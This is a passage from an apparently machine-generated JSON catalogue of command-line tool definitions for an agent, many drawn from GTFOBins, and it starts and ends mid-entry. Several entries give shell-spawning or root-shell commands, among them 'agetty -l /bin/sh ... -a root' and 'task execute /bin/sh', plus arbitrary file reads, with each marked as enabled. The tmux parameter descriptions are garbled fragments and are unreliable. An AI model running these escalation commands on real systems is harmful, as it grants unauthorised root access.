      "disk_io": "high"
    },
    "risk_level": "low",
    "techniques": [
      "exfiltration",
      "collection"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "synced-directory",
        "backup-archive"
      ],
      "consumes": [
        "source-directory",
        "destination-path"
      ]
    }
  },
  {
    "_body": "\n# task\n\ntask is a command-line utility. Taskwarrior task management tool; can also spawn an interactive shell.\n",
    "_source": "task.md",
    "allowed-tools": [
      "task"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Taskwarrior task management tool; can read and write files and spawn shells.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "task execute /bin/sh"
      }
    ],
    "execution": {
      "template": "task",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-taskwarrior-task",
    "install": [
      {
        "method": "apt",
        "package_name": "task",
        "commands": [
          "apt-get install -y task"
        ]
      }
    ],
    "name": "task",
    "namespace": "system:taskwarrior:task",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/task/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# tasksh\n\ntasksh is a command-line utility. Taskwarrior interactive shell; can also spawn an interactive shell.\n",
    "_source": "tasksh.md",
    "allowed-tools": [
      "tasksh"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Taskwarrior interactive shell; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "tasksh\n!/bin/sh"
      }
    ],
    "execution": {
      "template": "tasksh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-taskwarrior-tasksh",
    "install": [
      {
        "method": "apt",
        "package_name": "tasksh",
        "commands": [
          "apt-get install -y tasksh"
        ]
      }
    ],
    "name": "tasksh",
    "namespace": "system:taskwarrior:tasksh",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tasksh/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# agetty — Alternative Getty\n\nagetty manages virtual consoles. When installed with SUID, it can spawn a root shell by specifying an alternative login program.\n\n## Privilege Escalation\n\n```bash\nagetty -l /bin/sh -o -p -a root tty\n```\n",
    "_source": "agetty.md",
    "allowed-tools": [
      "agetty",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Alternative Linux getty for managing virtual consoles that can spawn a shell when used with SUID.",
    "examples": [
      {
        "description": "Spawn a root shell via SUID agetty",
        "command": "agetty -l /bin/sh -o -p -a root tty"
      }
    ],
    "execution": {
      "template": "agetty {l} {o} {p} {a}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-terminal-agetty",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "agetty",
    "namespace": "system:terminal:agetty",
    "parameters": [
      {
        "name": "l",
        "type": "string",
        "required": false,
        "description": "Program to log in (login program)",
        "aliases": [
          "-l",
          "--login-program"
        ],
        "flag": "-l"
      },
      {
        "name": "o",
        "type": "string",
        "required": false,
        "description": "Options to pass to login program",
        "aliases": [
          "-o",
          "--login-options"
        ],
        "flag": "-o"
      },
      {
        "name": "p",
        "type": "string",
        "required": false,
        "description": "Set the -p parameter",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "a",
        "type": "string",
        "required": false,
        "description": "Autologin user",
        "aliases": [
          "-a",
          "--autologin"
        ],
        "flag": "-a"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "agetty man page",
        "url": "https://man7.org/linux/man-pages/man8/agetty.8.html"
      }
    ],
    "related_tools": [
      "su",
      "sudo"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n",
    "_source": "minicom.md",
    "allowed-tools": [
      "minicom",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Serial communication program, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via minicom",
        "command": "minicom /path/to/file"
      },
      {
        "description": "Execute command via minicom",
        "command": "minicom /path/to/script"
      }
    ],
    "execution": {
      "template": "minicom /path/to/script",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-terminal-minicom",
    "install": [
      {
        "method": "apt",
        "package_name": "minicom",
        "commands": [
          "apt-get install -y minicom"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "minicom",
    "namespace": "system:terminal:minicom",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/minicom/"
      }
    ],
    "related_tools": [
      "screen",
      "picocom"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "mosh-server.md",
    "allowed-tools": [
      "mosh-server",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Mobile shell server, can execute commands.",
    "examples": [
      {
        "description": "Execute command via mosh-server",
        "command": "mosh-server /path/to/command"
      }
    ],
    "execution": {
      "template": "mosh-server /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-terminal-mosh",
    "install": [
      {
        "method": "apt",
        "package_name": "mosh",
        "commands": [
          "apt-get install -y mosh"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "mosh-server",
    "namespace": "system:terminal:mosh",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/mosh-server/"
      }
    ],
    "related_tools": [
      "ssh"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "openvt.md",
    "allowed-tools": [
      "openvt",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run a program on a new VT, can execute commands.",
    "examples": [
      {
        "description": "Execute command via openvt",
        "command": "openvt /path/to/command"
      }
    ],
    "execution": {
      "template": "openvt /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-terminal-openvt",
    "install": [
      {
        "method": "apt",
        "package_name": "kbd",
        "commands": [
          "apt-get install -y kbd"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "openvt",
    "namespace": "system:terminal:openvt",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/openvt/"
      }
    ],
    "related_tools": [
      "chvt",
      "deallocvt"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "rlwrap.md",
    "allowed-tools": [
      "rlwrap",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Readline wrapper, can execute commands.",
    "examples": [
      {
        "description": "Execute command via rlwrap",
        "command": "rlwrap /path/to/command"
      }
    ],
    "execution": {
      "template": "rlwrap /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-terminal-rlwrap",
    "install": [
      {
        "method": "apt",
        "package_name": "rlwrap",
        "commands": [
          "apt-get install -y rlwrap"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "rlwrap",
    "namespace": "system:terminal:rlwrap",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rlwrap/"
      }
    ],
    "related_tools": [
      "rlfe"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "screen.md",
    "allowed-tools": [
      "screen",
      "tmux",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Terminal multiplexer, can spawn shells and read files.",
    "examples": [
      {
        "description": "Spawn a shell via screen",
        "command": "screen /bin/sh"
      },
      {
        "description": "Read a file via screen",
        "command": "screen /bin/cat /path/to/file"
      }
    ],
    "execution": {
      "template": "screen /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-terminal-screen",
    "install": [
      {
        "method": "apt",
        "package_name": "screen",
        "commands": [
          "apt-get install -y screen"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "screen",
    "namespace": "system:terminal:screen",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/screen/"
      }
    ],
    "related_tools": [
      "tmux"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "script.md",
    "allowed-tools": [
      "script",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Terminal session recorder, can spawn a shell and read/write files.",
    "examples": [
      {
        "description": "Spawn a shell via script",
        "command": "script /dev/null -c /bin/sh"
      }
    ],
    "execution": {
      "template": "script /dev/null -c /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-terminal-script",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "script",
    "namespace": "system:terminal:script",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/script/"
      }
    ],
    "related_tools": [
      "tee"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "\n# tic\n\ntic is a command-line utility. Terminal info compiler for terminfo database; can also read arbitrary files.\n",
    "_source": "tic.md",
    "allowed-tools": [
      "tic"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Terminal information compiler; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "tic -C /path/to/input-file"
      }
    ],
    "execution": {
      "template": "tic",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-terminal-tic",
    "install": [
      {
        "method": "apt",
        "package_name": "ncurses-bin",
        "commands": [
          "apt-get install -y ncurses-bin"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "tic",
    "namespace": "system:terminal:tic",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tic/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# Tmux — Terminal Multiplexer\n\nTmux is a terminal multiplexer that allows multiple terminal sessions to be accessed simultaneously in a single window. It's essential for remote work, long-running processes, and efficient terminal workflows.\n\n## Key Bindings\n\nThe default prefix key is `Ctrl+b`. Release both keys before pressing the command.\n\n### Sessions\n| Binding | Action |\n|---------|--------|\n| `Ctrl+b` `d` | Detach from session |\n| `Ctrl+b` `s` | List sessions (interactive) |\n| `Ctrl+b` `$` | Rename current session |\n| `Ctrl+b` `(` / `)` | Switch to previous/next session |\n\n### Windows\n| Binding | Action |\n|---------|--------|\n| `Ctrl+b` `c` | Create new window |\n| `Ctrl+b` `,` | Rename current window |\n| `Ctrl+b` `n` / `p` | Next/previous window |\n| `Ctrl+b` `w` | List windows |\n\n### Panes\n| Binding | Action |\n|---------|--------|\n| `Ctrl+b` `%` | Split vertically |\n| `Ctrl+b` `\"` | Split horizontally |\n| `Ctrl+b` `arrow` | Navigate panes |\n| `Ctrl+b` `z` | Zoom pane fullscreen |\n| `Ctrl+b` `x` | Kill current pane |\n\n## Configuration\n\nCreate `~/.tmux.conf`:\n\n```bash\n# Use Ctrl+a as prefix (easier reach)\nset -g prefix C-a\nunbind C-b\nbind C-a send-prefix\n\n# Mouse support\nset -g mouse on\n\n# Increase scrollback\nset -g history-limit 50000\n\n# Status bar customization\nset -g status-bg colour235\nset -g status-fg white\nset -g status-interval 5\n```\n\n## Headless Operation\n\n```bash\n# Create session without attaching\ntmux new-session -d -s mysession 'python server.py'\n\n# Send additional commands later\ntmux send-keys -t mysession 'curl http://localhost:8080/health' Enter\n\n# Capture output\ntmux capture-pane -t mysession -p\n```\n\n## Related Tools\n\n- **[screen](../../terminal/screen.md)** — Classic terminal multiplexer\n- **[byobu](../../terminal/byobu.md)** — Screen/tmux wrapper with profiles\n- **[zellij](../../terminal/zellij.md)** — Modern terminal multiplexer written in Rust\n",
    "_source": "tmux.md",
    "allowed-tools": [
      "tmux",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "system.terminal.session",
        "description": "Tmux session state",
        "trust_level": "verified"
      },
      {
        "type": "system.terminal.capture",
        "description": "Captured terminal pane content",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.terminal.multiplex",
      "system.terminal.session",
      "system.terminal.split",
      "system.process.background",
      "system.session.persist",
      "system.remote.detach"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.terminal.command",
          "description": "Command to execute in a tmux pane"
        }
      ],
      "outputs": [
        {
          "type": "system.terminal.capture",
          "description": "Output captured from the pane",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Terminal multiplexer for managing multiple shell sessions, persistent remote workspaces, and split-pane terminal layouts.",
    "examples": [
      {
        "description": "Create a new named session",
        "command": "tmux new-session -s mysession -d"
      },
      {
        "description": "Attach to an existing session",
        "command": "tmux attach-session -t mysession"
      },
      {
        "description": "Split window horizontally",
        "command": "tmux split-window -h"
      },
      {
        "description": "Send a command to a pane",
        "command": "tmux send-keys -t mysession:0 'htop' Enter"
      },
      {
        "description": "Capture pane content to file",
        "command": "tmux capture-pane -t mysession:0 -p > output.txt"
      },
      {
        "description": "List all running sessions",
        "command": "tmux list-sessions"
      },
      {
        "description": "Start a new session:",
        "command": "tmux"
      },
      {
        "description": "Start a new named session:",
        "command": "tmux new-session -s name"
      },
      {
        "description": "List existing sessions:",
        "command": "tmux ls"
      },
      {
        "description": "Attach to the most recently used session:",
        "command": "tmux attach-session"
      },
      {
        "description": "Attach to a named session:",
        "command": "tmux attach-session -t name"
      }
    ],
    "execution": {
      "template": "tmux {flag-2} {flag-c} {flag-f} {flag-h} {flag-l}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "interactive"
    ],
    "id": "system-terminal-tmux",
    "install": [
      {
        "method": "apt",
        "package_name": "tmux",
        "commands": [
          "apt-get install -y tmux"
        ]
      }
    ],
    "mitre_ids": [
      "T1059"
    ],
    "name": "tmux",
    "namespace": "system:terminal:tmux",
    "parameters": [
      {
        "name": "flag-2",
        "template_key": "flag-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Force tmux to assume the terminal supports 256 colours",
        "aliases": [
          "-2"
        ],
        "flag": "-2"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Execute shell-command using the default shell. If neces- sary, the tmux server will be started to retrieve the default-shell option. This option is for compatibility with sh(1) when tmux is used as a login shell",
        "aliases": [
          "-c",
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify an alternative configuration file. By default",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-h",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print usage information and exit",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "flag-L",
        "template_key": "flag-l",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "tmux stores the server socket in a directory under TMUX_TMPDIR or /tmp if it is unset. The default socket is named default. This option allows a different socket name to be specified, allowing several independent tmux servers to be run. Unlike -S a full path is not necessary: the sockets are all created in a directory tmux-UID under the directory given by TMUX_TMPDIR or in /tmp. The tmux-UID directory is created by tmux and must not be world read- able, writable or executable",
        "aliases": [
          "-L",
          "-n"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Behave as a login shell. This flag currently has no ef-",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-S",
        "template_key": "flag-s",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Specify a full alternative path to the server socket. If -S is specified, the default socket directory is not used and any -L flag is ignored",
        "aliases": [
          "-S",
          "-p"
        ],
        "flag": "-S"
      },
      {
        "name": "flag-T",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set terminal features for the client. This is a comma-",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Write UTF-8 output to the terminal even if the first envi-",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Request verbose logging. Log messages will be saved into",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-c-2",
        "template_key": "flag-c-2",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "to working-directory",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-C flag clears alerts (bell, activity, or silence) in all win- dows linked to the session",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-n",
          "-c",
          "-t"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-F",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "flag-C",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "window for a control mode client, size must be one of `widthxheight' or `window ID:widthxheight', for example `80x24' or `@0:80x24'. -A allows a control mode client to trigger ac- tions on a pane. The argument is a pane ID (with leading `%'), a colon, then one of `on', `off', `continue' or `pause'. If `off', tmux will not send output from the pane to the client and if all clients have turned the pane off, will stop reading from the pane. If `continue', tmux will return to sending output to the pane if it was paused (manually or with the pause-after flag). If `pause', tmux will pause the pane. -A may be given multiple times for different panes",
        "aliases": [
          "-C"
        ],
        "flag": "-C"
      },
      {
        "name": "flag-B",
        "template_key": "flag-b",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "The argument is split into three items by colons: name is a name for the subscription; what is a type of item to subscribe to; format is the format. After a subscription is added, changes to the format are reported with the %subscription-changed notifica- tion, at most once a second. If only the name is given, the subscription is removed. what may be empty to check the format only for the attached session, or one of: a pane ID such as `%0'; `%*' for all panes in the attached session; a window ID such as `@0'; or `@*' for all windows in the attached session",
        "aliases": [
          "-B"
        ],
        "flag": "-B"
      },
      {
        "name": "flag-f-2",
        "template_key": "flag-f-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "list of client flags, see",
        "aliases": [
          "-f",
          "-s"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-l-2",
        "template_key": "flag-l-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "cape sequence. If target-pane is given, the clipboard is sent (in encoded form), otherwise it is stored in a new paste buffer",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-L-2",
        "template_key": "flag-l-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "right, up or down by adjustment, if the window is larger than the client. -c resets so that the position follows the cursor. See the window-size option",
        "aliases": [
          "-L",
          "-R",
          "-U",
          "-D"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-a-2",
        "template_key": "flag-a-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "user. If the user is already attached, the -d flag causes their clients to be detached",
        "aliases": [
          "-a",
          "-d"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "clients read-only and -w writable. -l lists current access per- missions",
        "aliases": [
          "-r",
          "-w",
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-J",
        "template_key": "flag-j",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-J",
          "-T"
        ],
        "flag": "-J"
      },
      {
        "name": "flag-T-2",
        "template_key": "flag-t-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "will be interpreted from key-table. This may be used to config- ure multiple prefix keys, or to bind commands to sequences of keys. For example, to make typing `abc' run the list-keys com- mand:",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
